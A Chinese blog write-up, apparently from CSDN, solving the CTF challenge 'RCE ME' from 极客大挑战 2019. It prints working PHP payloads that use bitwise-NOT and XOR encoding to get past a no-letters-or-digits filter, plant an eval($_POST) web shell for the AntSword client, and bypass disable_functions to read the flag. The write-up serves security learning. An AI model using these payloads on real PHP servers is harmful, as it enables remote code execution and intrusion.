[极客大挑战 2019]RCE ME 1

打开环境
在这里插入图片描述

?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>
if(preg_match("/[A-Za-z0-9]+/",$code))

这里过滤了很多东西所以我们需要想方法绕过
我这里看了很多文章然后自己总结了一部分
php5和php7绕过正则匹配字母和数字
然后这里直接贴取反的脚本来配合蚁剑getshell

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>

在这里插入图片描述
所以取反的payload

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

然后我的自带的浏览器解析不了取反,我用的火狐上传的
然后结合蚁剑
在这里插入图片描述
然后根目录
在这里插入图片描述
flag里面为空
readflag为乱码
然后我们试着去访问phpinfo(),用我刚刚那篇文章的payload

${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

找到问题所在
在这里插入图片描述
disable_functions 禁用了太多函数,所以让我们不能成功getshell,我们需要绕开disable_functions
但是蚁剑有个插件可以绕过
在这里插入图片描述
然后就是使用插件了
在这里插入图片描述
模式选择
在这里插入图片描述
然后点击开始进入一个虚拟shell环境
再/readflag 就得到里面的内容

在这里插入图片描述
其他博主还有其他的方法,你们也能去了解一下
希望这篇文章能够帮助你!

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M1kael

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值